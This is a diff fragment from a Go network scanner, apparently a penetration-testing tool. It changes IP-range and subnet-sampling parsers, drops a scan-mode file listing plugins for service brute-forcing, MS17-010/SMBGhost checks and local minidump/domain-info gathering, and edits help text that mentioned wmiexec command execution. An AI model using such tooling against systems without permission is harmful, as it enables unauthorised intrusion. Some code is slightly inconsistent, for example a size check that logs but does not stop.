||||||
|
//
|
||||||
|
// 返回:
|
||||||
|
// - []string: 展开后的IP地址列表
|
||||||
|
func parseIPRange(ipRange string) []string {
|
||||||
|
parts := strings.Split(ipRange, "-")
|
||||||
|
if len(parts) != 2 {
|
||||||
|
LogError(GetText("ip_range_format_error", ipRange))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
startIP := parts[0]
|
||||||
|
endIP := parts[1]
|
||||||
|
|
||||||
|
// 验证起始IP
|
||||||
|
if net.ParseIP(startIP) == nil {
|
||||||
|
LogError(GetText("invalid_ip_format", startIP))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理简写格式 (如: 192.168.1.1-100)
|
||||||
|
if len(endIP) < 4 || !strings.Contains(endIP, ".") {
|
||||||
|
return parseShortIPRange(startIP, endIP)
|
||||||
|
} else {
|
||||||
|
// 处理完整格式 (如: 192.168.1.1-192.168.1.100)
|
||||||
|
return parseFullIPRange(startIP, endIP)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// parseShortIPRange 解析简写格式的IP范围
|
||||||
|
// 例如: 192.168.1.1-100 表示从192.168.1.1到192.168.1.100
|
||||||
|
// 参数:
|
||||||
|
// - startIP: 起始IP
|
||||||
|
// - endSuffix: 结束IP的最后一部分
|
||||||
|
//
|
||||||
|
// 返回:
|
||||||
|
// - []string: 展开后的IP地址列表
|
||||||
|
func parseShortIPRange(startIP, endSuffix string) []string {
|
||||||
|
var allIP []string
|
||||||
|
|
||||||
|
// 将结束段转换为数字
|
||||||
|
endNum, err := strconv.Atoi(endSuffix)
|
||||||
|
if err != nil || endNum > 255 {
|
||||||
|
LogError(GetText("ip_range_format_error", startIP+"-"+endSuffix))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 分解起始IP
|
||||||
|
ipParts := strings.Split(startIP, ".")
|
||||||
|
if len(ipParts) != 4 {
|
||||||
|
LogError(GetText("ip_format_error", startIP))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 获取前缀和起始IP的最后一部分
|
||||||
|
prefixIP := strings.Join(ipParts[0:3], ".")
|
||||||
|
startNum, err := strconv.Atoi(ipParts[3])
|
||||||
|
if err != nil || startNum > endNum {
|
||||||
|
LogError(GetText("invalid_ip_range", startNum, endNum))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 生成IP范围
|
||||||
|
for i := startNum; i <= endNum; i++ {
|
||||||
|
allIP = append(allIP, fmt.Sprintf("%s.%d", prefixIP, i))
|
||||||
|
}
|
||||||
|
|
||||||
|
LogInfo(GetText("generate_ip_range", prefixIP, startNum, prefixIP, endNum))
|
||||||
|
return allIP
|
||||||
|
}
|
||||||
|
|
||||||
|
// parseFullIPRange 解析完整格式的IP范围
|
||||||
|
// 例如: 192.168.1.1-192.168.2.100
|
||||||
|
// 参数:
|
||||||
|
// - startIP: 起始IP
|
||||||
|
// - endIP: 结束IP
|
||||||
|
//
|
||||||
|
// 返回:
|
||||||
|
// - []string: 展开后的IP地址列表
|
||||||
|
func parseFullIPRange(startIP, endIP string) []string {
|
||||||
|
var allIP []string
|
||||||
|
|
||||||
|
// 验证结束IP
|
||||||
|
if net.ParseIP(endIP) == nil {
|
||||||
|
LogError(GetText("invalid_ip_format", endIP))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 分解起始IP和结束IP
|
||||||
|
startParts := strings.Split(startIP, ".")
|
||||||
|
endParts := strings.Split(endIP, ".")
|
||||||
|
|
||||||
|
if len(startParts) != 4 || len(endParts) != 4 {
|
||||||
|
LogError(GetText("ip_format_error", startIP+"-"+endIP))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 转换为整数数组
|
||||||
|
var start, end [4]int
|
||||||
|
for i := 0; i < 4; i++ {
|
||||||
|
var err1, err2 error
|
||||||
|
start[i], err1 = strconv.Atoi(startParts[i])
|
||||||
|
end[i], err2 = strconv.Atoi(endParts[i])
|
||||||
|
|
||||||
|
if err1 != nil || err2 != nil || start[i] > 255 || end[i] > 255 {
|
||||||
|
LogError(GetText("ip_format_error", startIP+"-"+endIP))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 计算IP地址的整数表示
|
||||||
|
startInt := (start[0] << 24) | (start[1] << 16) | (start[2] << 8) | start[3]
|
||||||
|
endInt := (end[0] << 24) | (end[1] << 16) | (end[2] << 8) | end[3]
|
||||||
|
|
||||||
|
// 检查范围的有效性
|
||||||
|
if startInt > endInt {
|
||||||
|
LogError(GetText("invalid_ip_range", startIP, endIP))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 限制IP范围的大小,防止生成过多IP导致内存问题
|
||||||
|
if endInt-startInt > 65535 {
|
||||||
|
LogError(GetText("ip_range_too_large", startIP, endIP))
|
||||||
|
// 可以考虑在这里实现采样或截断策略
|
||||||
|
}
|
||||||
|
|
||||||
|
// 生成IP范围
|
||||||
|
for ipInt := startInt; ipInt <= endInt; ipInt++ {
|
||||||
|
ip := fmt.Sprintf("%d.%d.%d.%d",
|
||||||
|
(ipInt>>24)&0xFF,
|
||||||
|
(ipInt>>16)&0xFF,
|
||||||
|
(ipInt>>8)&0xFF,
|
||||||
|
ipInt&0xFF)
|
||||||
|
allIP = append(allIP, ip)
|
||||||
|
}
|
||||||
|
|
||||||
|
LogInfo(GetText("generate_ip_range_full", startIP, endIP, len(allIP)))
|
||||||
|
return allIP
|
||||||
|
}
|
||||||
|
|
||||||
|
// parseSubnet8 解析/8网段的IP地址,生成采样IP列表
|
||||||
|
// 由于/8网段包含1600多万个IP,因此采用采样方式
|
||||||
|
// 参数:
|
||||||
|
// - subnet: CIDR格式的/8网段
|
||||||
|
//
|
||||||
|
// 返回:
|
||||||
|
// - []string: 采样的IP地址列表
|
||||||
|
func parseSubnet8(subnet string) []string {
|
||||||
|
// 去除CIDR后缀获取基础IP
|
||||||
|
baseIP := subnet[:len(subnet)-2]
|
||||||
|
if net.ParseIP(baseIP) == nil {
|
||||||
|
LogError(GetText("invalid_ip_format", baseIP))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 获取/8网段的第一段
|
||||||
|
firstOctet := strings.Split(baseIP, ".")[0]
|
||||||
|
var sampleIPs []string
|
||||||
|
|
||||||
|
LogInfo(GetText("parse_subnet", firstOctet))
|
||||||
|
|
||||||
|
// 预分配足够的容量以提高性能
|
||||||
|
// 每个二级网段10个IP,共256*256个二级网段
|
||||||
|
sampleIPs = make([]string, 0, 10)
|
||||||
|
|
||||||
|
// 对常用网段进行更全面的扫描
|
||||||
|
commonSecondOctets := []int{0, 1, 2, 10, 100, 200, 254}
|
||||||
|
|
||||||
|
// 对于每个选定的第二段,采样部分第三段
|
||||||
|
for _, secondOctet := range commonSecondOctets {
|
||||||
|
for thirdOctet := 0; thirdOctet < 256; thirdOctet += 10 {
|
||||||
|
// 添加常见的网关和服务器IP
|
||||||
|
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.1", firstOctet, secondOctet, thirdOctet)) // 默认网关
|
||||||
|
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.254", firstOctet, secondOctet, thirdOctet)) // 通常用于路由器/交换机
|
||||||
|
|
||||||
|
// 随机采样不同范围的主机IP
|
||||||
|
fourthOctet := randomInt(2, 253)
|
||||||
|
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, fourthOctet))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 对其他二级网段进行稀疏采样
|
||||||
|
samplingStep := 32 // 每32个二级网段采样1个
|
||||||
|
for secondOctet := 0; secondOctet < 256; secondOctet += samplingStep {
|
||||||
|
for thirdOctet := 0; thirdOctet < 256; thirdOctet += samplingStep {
|
||||||
|
// 对于采样的网段,取几个代表性IP
|
||||||
|
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.1", firstOctet, secondOctet, thirdOctet))
|
||||||
|
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, randomInt(2, 253)))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
LogInfo(GetText("sample_ip_generated", len(sampleIPs)))
|
||||||
|
return sampleIPs
|
||||||
|
}
|
||||||
|
|
||||||
|
// readIPFile 从文件中按行读取IP地址
|
||||||
|
// 支持两种格式:
|
||||||
|
// - 每行一个IP或IP范围
|
||||||
|
// - IP:PORT 格式指定端口
|
||||||
|
// 参数:
|
||||||
|
// - filename: 包含IP地址的文件路径
|
||||||
|
//
|
||||||
|
// 返回:
|
||||||
|
// - []string: 解析后的IP地址列表
|
||||||
|
// - error: 读取和解析过程中的错误
|
||||||
|
func readIPFile(filename string) ([]string, error) {
|
||||||
|
// 打开文件
|
||||||
file, err := os.Open(filename)
|
file, err := os.Open(filename)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
LogError(GetText("open_file_failed", filename, err))
|
LogError(GetText("open_file_failed", filename, err))
|
||||||
@ -230,105 +411,139 @@ func Readipfile(filename string) ([]string, error) {
|
|||||||
}
|
}
|
||||||
defer file.Close()
|
defer file.Close()
|
||||||
|
|
||||||
var content []string
|
var ipList []string
|
||||||
scanner := bufio.NewScanner(file)
|
scanner := bufio.NewScanner(file)
|
||||||
scanner.Split(bufio.ScanLines)
|
scanner.Split(bufio.ScanLines)
|
||||||
|
|
||||||
|
// 逐行处理
|
||||||
|
lineCount := 0
|
||||||
for scanner.Scan() {
|
for scanner.Scan() {
|
||||||
line := strings.TrimSpace(scanner.Text())
|
line := strings.TrimSpace(scanner.Text())
|
||||||
if line == "" {
|
if line == "" || strings.HasPrefix(line, "#") {
|
||||||
continue
|
continue // 跳过空行和注释行
|
||||||
}
|
}
|
||||||
|
|
||||||
text := strings.Split(line, ":")
|
lineCount++
|
||||||
if len(text) == 2 {
|
|
||||||
port := strings.Split(text[1], " ")[0]
|
// 处理IP:PORT格式
|
||||||
num, err := strconv.Atoi(port)
|
if strings.Contains(line, ":") {
|
||||||
if err != nil || num < 1 || num > 65535 {
|
parts := strings.Split(line, ":")
|
||||||
|
if len(parts) == 2 {
|
||||||
|
// 提取端口部分,处理可能的注释
|
||||||
|
portPart := strings.Split(parts[1], " ")[0]
|
||||||
|
portPart = strings.Split(portPart, "#")[0]
|
||||||
|
port, err := strconv.Atoi(portPart)
|
||||||
|
|
||||||
|
// 验证端口有效性
|
||||||
|
if err != nil || port < 1 || port > 65535 {
|
||||||
LogError(GetText("invalid_port", line))
|
LogError(GetText("invalid_port", line))
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
|
|
||||||
hosts := ParseIPs(text[0])
|
// 解析IP部分并与端口组合
|
||||||
|
hosts := parseIPList(parts[0])
|
||||||
for _, host := range hosts {
|
for _, host := range hosts {
|
||||||
HostPort = append(HostPort, fmt.Sprintf("%s:%s", host, port))
|
HostPort = append(HostPort, fmt.Sprintf("%s:%s", host, portPart))
|
||||||
}
|
}
|
||||||
LogInfo(GetText("parse_ip_port", line))
|
LogInfo(GetText("parse_ip_port", line))
|
||||||
} else {
|
} else {
|
||||||
hosts := ParseIPs(line)
|
LogError(GetText("invalid_ip_port_format", line))
|
||||||
content = append(content, hosts...)
|
}
|
||||||
|
} else {
|
||||||
|
// 处理纯IP格式
|
||||||
|
hosts := parseIPList(line)
|
||||||
|
ipList = append(ipList, hosts...)
|
||||||
LogInfo(GetText("parse_ip_address", line))
|
LogInfo(GetText("parse_ip_address", line))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 检查扫描过程中的错误
|
||||||
if err := scanner.Err(); err != nil {
|
if err := scanner.Err(); err != nil {
|
||||||
LogError(GetText("read_file_error", err))
|
LogError(GetText("read_file_error", err))
|
||||||
return content, err
|
return ipList, err
|
||||||
}
|
}
|
||||||
|
|
||||||
LogInfo(GetText("file_parse_complete", len(content)))
|
LogInfo(GetText("file_parse_complete", len(ipList)))
|
||||||
return content, nil
|
return ipList, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// RemoveDuplicate 对字符串切片进行去重
|
// excludeHosts 从主机列表中排除指定的主机
|
||||||
func RemoveDuplicate(old []string) []string {
|
// 参数:
|
||||||
temp := make(map[string]struct{})
|
// - hosts: 原始主机列表
|
||||||
var result []string
|
// - nohosts: 需要排除的主机列表(可选)
|
||||||
|
//
|
||||||
|
// 返回:
|
||||||
|
// - []string: 排除后的主机列表
|
||||||
|
func excludeHosts(hosts []string, nohosts []string) []string {
|
||||||
|
// 如果没有需要排除的主机,直接返回原列表
|
||||||
|
if len(nohosts) == 0 || nohosts[0] == "" {
|
||||||
|
return hosts
|
||||||
|
}
|
||||||
|
|
||||||
for _, item := range old {
|
// 解析排除列表
|
||||||
if _, exists := temp[item]; !exists {
|
excludeList := parseIPList(nohosts[0])
|
||||||
temp[item] = struct{}{}
|
if len(excludeList) == 0 {
|
||||||
result = append(result, item)
|
return hosts
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 使用map存储有效主机,提高查找效率
|
||||||
|
hostMap := make(map[string]struct{}, len(hosts))
|
||||||
|
for _, host := range hosts {
|
||||||
|
hostMap[host] = struct{}{}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 从map中删除需要排除的主机
|
||||||
|
for _, host := range excludeList {
|
||||||
|
delete(hostMap, host)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 重建主机列表
|
||||||
|
result := make([]string, 0, len(hostMap))
|
||||||
|
for host := range hostMap {
|
||||||
|
result = append(result, host)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 排序以保持结果的稳定性
|
||||||
|
sort.Strings(result)
|
||||||
|
LogInfo(GetText("hosts_excluded", len(excludeList)))
|
||||||
|
|
||||||
return result
|
return result
|
||||||
}
|
}
|
||||||
|
|
||||||
// parseIP8 解析/8网段的IP地址
|
// removeDuplicateIPs 去除重复的IP地址
|
||||||
func parseIP8(ip string) []string {
|
// 参数:
|
||||||
// 去除CIDR后缀获取基础IP
|
// - ips: 包含可能重复项的IP地址列表
|
||||||
realIP := ip[:len(ip)-2]
|
//
|
||||||
testIP := net.ParseIP(realIP)
|
// 返回:
|
||||||
|
// - []string: 去重后的IP地址列表
|
||||||
if testIP == nil {
|
func removeDuplicateIPs(ips []string) []string {
|
||||||
LogError(GetText("invalid_ip_format", realIP))
|
// 使用map去重
|
||||||
return nil
|
ipMap := make(map[string]struct{}, len(ips))
|
||||||
|
for _, ip := range ips {
|
||||||
|
ipMap[ip] = struct{}{}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 获取/8网段的第一段
|
// 创建结果切片并添加唯一的IP
|
||||||
ipRange := strings.Split(ip, ".")[0]
|
result := make([]string, 0, len(ipMap))
|
||||||
var allIP []string
|
for ip := range ipMap {
|
||||||
|
result = append(result, ip)
|
||||||
LogInfo(GetText("parse_subnet", ipRange))
|
|
||||||
|
|
||||||
// 遍历所有可能的第二、三段
|
|
||||||
for a := 0; a <= 255; a++ {
|
|
||||||
for b := 0; b <= 255; b++ {
|
|
||||||
// 添加常用网关IP
|
|
||||||
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.1", ipRange, a, b)) // 默认网关
|
|
||||||
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.2", ipRange, a, b)) // 备用网关
|
|
||||||
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.4", ipRange, a, b)) // 常用服务器
|
|
||||||
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.5", ipRange, a, b)) // 常用服务器
|
|
||||||
|
|
||||||
// 随机采样不同范围的IP
|
|
||||||
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(6, 55))) // 低段随机
|
|
||||||
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(56, 100))) // 中低段随机
|
|
||||||
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(101, 150))) // 中段随机
|
|
||||||
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(151, 200))) // 中高段随机
|
|
||||||
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(201, 253))) // 高段随机
|
|
||||||
allIP = append(allIP, fmt.Sprintf("%s.%d.%d.254", ipRange, a, b)) // 广播地址前
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
LogInfo(GetText("sample_ip_generated", len(allIP)))
|
// 排序以保持结果的稳定性
|
||||||
return allIP
|
sort.Strings(result)
|
||||||
|
return result
|
||||||
}
|
}
|
||||||
|
|
||||||
// RandInt 生成指定范围内的随机整数
|
// randomInt 生成指定范围内的随机整数
|
||||||
func RandInt(min, max int) int {
|
// 参数:
|
||||||
if min >= max || min == 0 || max == 0 {
|
// - min: 最小值(包含)
|
||||||
|
// - max: 最大值(包含)
|
||||||
|
//
|
||||||
|
// 返回:
|
||||||
|
// - int: 生成的随机数
|
||||||
|
func randomInt(min, max int) int {
|
||||||
|
if min >= max || min < 0 || max <= 0 {
|
||||||
return max
|
return max
|
||||||
}
|
}
|
||||||
return rand.Intn(max-min) + min
|
return rand.Intn(max-min+1) + min
|
||||||
}
|
}
|
||||||
|
@ -1,95 +0,0 @@
|
|||||||
package Common
|
|
||||||
|
|
||||||
// 扫描模式常量 - 使用大写开头表示这是一个预设的扫描模式
|
|
||||||
const (
|
|
||||||
ModeAll = "All" // 全量扫描
|
|
||||||
ModeBasic = "Basic" // 基础扫描
|
|
||||||
ModeDatabase = "Database" // 数据库扫描
|
|
||||||
ModeWeb = "Web" // Web扫描
|
|
||||||
ModeService = "Service" // 服务扫描
|
|
||||||
ModeVul = "Vul" // 漏洞扫描
|
|
||||||
ModePort = "Port" // 端口扫描
|
|
||||||
ModeICMP = "ICMP" // ICMP探测
|
|
||||||
ModeLocal = "Local" // 本地信息收集
|
|
||||||
)
|
|
||||||
|
|
||||||
// 插件分类映射表 - 所有插件名使用小写
|
|
||||||
var PluginGroups = map[string][]string{
|
|
||||||
ModeAll: {
|
|
||||||
"webtitle", "webpoc", // web类
|
|
||||||
"mysql", "mssql", "redis", "mongodb", "postgres", // 数据库类
|
|
||||||
"oracle", "memcached", "elasticsearch", "rabbitmq", "kafka", "activemq", "cassandra", "neo4j", // 数据库类
|
|
||||||
"ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", "snmp", "modbus", "rsync", // 服务类
|
|
||||||
"ms17010", "smbghost", "smb2", // 漏洞类
|
|
||||||
"findnet", // 其他
|
|
||||||
},
|
|
||||||
ModeBasic: {
|
|
||||||
"webtitle", "ftp", "ssh", "smb", "findnet",
|
|
||||||
},
|
|
||||||
ModeDatabase: {
|
|
||||||
"mysql", "mssql", "redis", "mongodb",
|
|
||||||
"postgres", "oracle", "memcached", "elasticsearch", "rabbitmq", "kafka", "activemq", "cassandra", "neo4j",
|
|
||||||
},
|
|
||||||
ModeWeb: {
|
|
||||||
"webtitle", "webpoc",
|
|
||||||
},
|
|
||||||
ModeService: {
|
|
||||||
"ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", "modbus", "rsync",
|
|
||||||
},
|
|
||||||
ModeVul: {
|
|
||||||
"ms17010", "smbghost", "smb2",
|
|
||||||
},
|
|
||||||
ModeLocal: {
|
|
||||||
"localinfo", "minidump", "dcinfo",
|
|
||||||
},
|
|
||||||
}
|
|
||||||
|
|
||||||
// ParseScanMode 解析扫描模式
|
|
||||||
func ParseScanMode(mode string) {
|
|
||||||
LogInfo(GetText("parse_scan_mode", mode))
|
|
||||||
|
|
||||||
// 检查是否是预设模式
|
|
||||||
presetModes := []string{
|
|
||||||
ModeAll, ModeBasic, ModeDatabase, ModeWeb,
|
|
||||||
ModeService, ModeVul, ModePort, ModeICMP, ModeLocal,
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, presetMode := range presetModes {
|
|
||||||
if mode == presetMode {
|
|
||||||
ScanMode = mode
|
|
||||||
if plugins := GetPluginsForMode(mode); plugins != nil {
|
|
||||||
LogInfo(GetText("using_preset_mode_plugins", mode, plugins))
|
|
||||||
} else {
|
|
||||||
LogInfo(GetText("using_preset_mode", mode))
|
|
||||||
}
|
|
||||||
return
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查是否是有效的插件名
|
|
||||||
if _, exists := PluginManager[mode]; exists {
|
|
||||||
ScanMode = mode
|
|
||||||
LogInfo(GetText("using_single_plugin", mode))
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
// 默认使用All模式
|
|
||||||
ScanMode = ModeAll
|
|
||||||
LogInfo(GetText("using_default_mode", ModeAll))
|
|
||||||
LogInfo(GetText("included_plugins", PluginGroups[ModeAll]))
|
|
||||||
}
|
|
||||||
|
|
||||||
// GetPluginsForMode 获取指定模式下的插件列表
|
|
||||||
func GetPluginsForMode(mode string) []string {
|
|
||||||
plugins, exists := PluginGroups[mode]
|
|
||||||
if exists {
|
|
||||||
return plugins
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// 辅助函数
|
|
||||||
func IsPortScan() bool { return ScanMode == ModePort }
|
|
||||||
func IsICMPScan() bool { return ScanMode == ModeICMP }
|
|
||||||
func IsWebScan() bool { return ScanMode == ModeWeb }
|
|
||||||
func GetScanMode() string { return ScanMode }
|
|
189
Common/i18n.go
189
Common/i18n.go
@ -234,70 +234,51 @@ var i18nMap = map[string]map[string]string{
|
|||||||
"Пример: -p main, -p 80,443, -p 1-1000",
|
"Пример: -p main, -p 80,443, -p 1-1000",
|
||||||
},
|
},
|
||||||
"flag_scan_mode": {
|
"flag_scan_mode": {
|
||||||
LangZH: "指定扫描模式:\n" +
|
LangZH: "指定要使用的扫描插件:\n" +
|
||||||
"预设模式:\n" +
|
" - All: 使用所有非敏感插件\n" +
|
||||||
" - All: 全量扫描\n" +
|
" - 单个插件: 如 ssh, redis, mysql\n" +
|
||||||
" - Basic: 基础扫描(Web/FTP/SSH等)\n" +
|
" - 多个插件: 使用逗号分隔,如 ssh,ftp,redis\n\n" +
|
||||||
" - Database: 数据库扫描\n" +
|
"插件分类:\n" +
|
||||||
" - Web: Web服务扫描\n" +
|
" - 服务类: ssh, ftp, telnet, smb, rdp, vnc...\n" +
|
||||||
" - Service: 常见服务扫描\n" +
|
" - 数据库类: mysql, redis, mongodb, postgres...\n" +
|
||||||
" - Vul: 漏洞扫描\n" +
|
" - Web类: webtitle, webpoc...\n" +
|
||||||
" - Port: 端口扫描\n" +
|
" - 漏洞类: ms17010...\n" +
|
||||||
" - ICMP: 存活探测\n" +
|
" - 本地类: localinfo, dcinfo, minidump (需明确指定)",
|
||||||
" - Local: 本地信息\n" +
|
|
||||||
"单项扫描:\n" +
|
|
||||||
" - web/db: mysql,redis等\n" +
|
|
||||||
" - service: ftp,ssh等\n" +
|
|
||||||
" - vul: ms17010等",
|
|
||||||
|
|
||||||
LangEN: "Specify scan mode:\n" +
|
LangEN: "Specify scan plugins to use:\n" +
|
||||||
"Preset modes:\n" +
|
" - All: Use all non-sensitive plugins\n" +
|
||||||
" - All: Full scan\n" +
|
" - Single plugin: e.g., ssh, redis, mysql\n" +
|
||||||
" - Basic: Basic scan(Web/FTP/SSH)\n" +
|
" - Multiple plugins: comma-separated, e.g., ssh,ftp,redis\n\n" +
|
||||||
" - Database: Database scan\n" +
|
"Plugin categories:\n" +
|
||||||
" - Web: Web service scan\n" +
|
" - Services: ssh, ftp, telnet, smb, rdp, vnc...\n" +
|
||||||
" - Service: Common service scan\n" +
|
" - Databases: mysql, redis, mongodb, postgres...\n" +
|
||||||
" - Vul: Vulnerability scan\n" +
|
" - Web: webtitle, webpoc...\n" +
|
||||||
" - Port: Port scan\n" +
|
" - Vulnerabilities: ms17010...\n" +
|
||||||
" - ICMP: Alive detection\n" +
|
" - Local: localinfo, dcinfo, minidump (must be explicitly specified)",
|
||||||
" - Local: Local info\n" +
|
|
||||||
"Single scan:\n" +
|
|
||||||
" - web/db: mysql,redis etc\n" +
|
|
||||||
" - service: ftp,ssh etc\n" +
|
|
||||||
" - vul: ms17010 etc",
|
|
||||||
|
|
||||||
LangJA: "スキャンモードを指定:\n" +
|
LangJA: "使用するスキャンプラグインを指定:\n" +
|
||||||
"プリセットモード:\n" +
|
" - All: すべての非機密プラグインを使用\n" +
|
||||||
" - All: フルスキャン\n" +
|
" - 単一プラグイン: 例 ssh, redis, mysql\n" +
|
||||||
" - Basic: 基本スキャン(Web/FTP/SSH)\n" +
|
" - 複数プラグイン: カンマ区切り、例 ssh,ftp,redis\n\n" +
|
||||||
" - Database: データベーススキャン\n" +
|
"プラグインカテゴリ:\n" +
|
||||||
" - Web: Webサービススキャン\n" +
|
" - サービス: ssh, ftp, telnet, smb, rdp, vnc...\n" +
|
||||||
" - Service: 一般サービススキャン\n" +
|
" - データベース: mysql, redis, mongodb, postgres...\n" +
|
||||||
" - Vul: 脆弱性スキャン\n" +
|
" - Web: webtitle, webpoc...\n" +
|
||||||
" - Port: ポートスキャン\n" +
|
" - 脆弱性: ms17010...\n" +
|
||||||
" - ICMP: 生存確認\n" +
|
" - ローカル: localinfo, dcinfo, minidump (明示的に指定が必要)",
|
||||||
" - Local: ローカル情報\n" +
|
|
||||||
"単一スキャン:\n" +
|
|
||||||
" - web/db: mysql,redis など\n" +
|
|
||||||
" - service: ftp,ssh など\n" +
|
|
||||||
" - vul: ms17010 など",
|
|
||||||
|
|
||||||
LangRU: "Укажите режим сканирования:\n" +
|
LangRU: "Укажите используемые плагины сканирования:\n" +
|
||||||
"Предустановки:\n" +
|
" - All: Использовать все неконфиденциальные плагины\n" +
|
||||||
" - All: Полное сканирование\n" +
|
" - Один плагин: например, ssh, redis, mysql\n" +
|
||||||
" - Basic: Базовое сканирование(Web/FTP/SSH)\n" +
|
" - Несколько плагинов: через запятую, например ssh,ftp,redis\n\n" +
|
||||||
" - Database: Сканирование БД\n" +
|
"Категории плагинов:\n" +
|
||||||
" - Web: Веб-сервисы\n" +
|
" - Сервисы: ssh, ftp, telnet, smb, rdp, vnc...\n" +
|
||||||
" - Service: Общие службы\n" +
|
" - Базы данных: mysql, redis, mongodb, postgres...\n" +
|
||||||
" - Vul: Уязвимости\n" +
|
" - Веб: webtitle, webpoc...\n" +
|
||||||
" - Port: Порты\n" +
|
" - Уязвимости: ms17010...\n" +
|
||||||
" - ICMP: Обнаружение\n" +
|
" - Локальные: localinfo, dcinfo, minidump (требуется явное указание)",
|
||||||
" - Local: Локальная информация\n" +
|
|
||||||
"Одиночное сканирование:\n" +
|
|
||||||
" - web/db: mysql,redis и др\n" +
|
|
||||||
" - service: ftp,ssh и др\n" +
|
|
||||||
" - vul: ms17010 и др",
|
|
||||||
},
|
},
|
||||||
|
|
||||||
"flag_exclude_hosts": {
|
"flag_exclude_hosts": {
|
||||||
LangZH: "排除指定主机范围,支持CIDR格式,如: 192.168.1.1/24",
|
LangZH: "排除指定主机范围,支持CIDR格式,如: 192.168.1.1/24",
|
||||||
LangEN: "Exclude host ranges, supports CIDR format, e.g.: 192.168.1.1/24",
|
LangEN: "Exclude host ranges, supports CIDR format, e.g.: 192.168.1.1/24",
|
||||||
@ -368,6 +349,20 @@ var i18nMap = map[string]map[string]string{
|
|||||||
LangRU: "Показать только указанное количество активных хостов",
|
LangRU: "Показать только указанное количество активных хостов",
|
||||||
},
|
},
|
||||||
|
|
||||||
|
"flag_module_thread_num": {
|
||||||
|
LangZH: "设置每个模块的最大线程数(默认:10)",
|
||||||
|
LangEN: "Set maximum threads per module (default:10)",
|
||||||
|
LangJA: "モジュールごとの最大スレッド数を設定(デフォルト:10)",
|
||||||
|
LangRU: "Установить максимальное количество потоков на модуль (по умолчанию:10)",
|
||||||
|
},
|
||||||
|
|
||||||
|
"flag_global_timeout": {
|
||||||
|
LangZH: "设置全局扫描超时时间(单位:秒,默认:180)",
|
||||||
|
LangEN: "Set global scan timeout (in seconds, default:180)",
|
||||||
|
LangJA: "グローバルスキャンのタイムアウトを設定(秒単位、デフォルト:180)",
|
||||||
|
LangRU: "Установить глобальный таймаут сканирования (в секундах, по умолчанию:180)",
|
||||||
|
},
|
||||||
|
|
||||||
"flag_disable_ping": {
|
"flag_disable_ping": {
|
||||||
LangZH: "禁用主机存活探测",
|
LangZH: "禁用主机存活探测",
|
||||||
LangEN: "Disable host alive detection",
|
LangEN: "Disable host alive detection",
|
||||||
@ -382,14 +377,7 @@ var i18nMap = map[string]map[string]string{
|
|||||||
LangRU: "Использовать системную команду ping вместо ICMP-зондирования",
|
LangRU: "Использовать системную команду ping вместо ICMP-зондирования",
|
||||||
},
|
},
|
||||||
|
|
||||||
"flag_command": {
|
"flag_enable_fingerprint": {
|
||||||
LangZH: "指定要执行的系统命令(支持ssh和wmiexec)",
|
|
||||||
LangEN: "Specify system command to execute (supports ssh and wmiexec)",
|
|
||||||
LangJA: "実行するシステムコマンドを指定(sshとwmiexecをサポート)",
|
|
||||||
LangRU: "Указать системную команду для выполнения (поддерживает ssh и wmiexec)",
|
|
||||||
},
|
|
||||||
|
|
||||||
"flag_skip_fingerprint": {
|
|
||||||
LangZH: "跳过端口指纹识别",
|
LangZH: "跳过端口指纹识别",
|
||||||
LangEN: "Skip port fingerprint identification",
|
LangEN: "Skip port fingerprint identification",
|
||||||
LangJA: "ポートフィンガープリント識別をスキップ",
|
LangJA: "ポートフィンガープリント識別をスキップ",
|
||||||
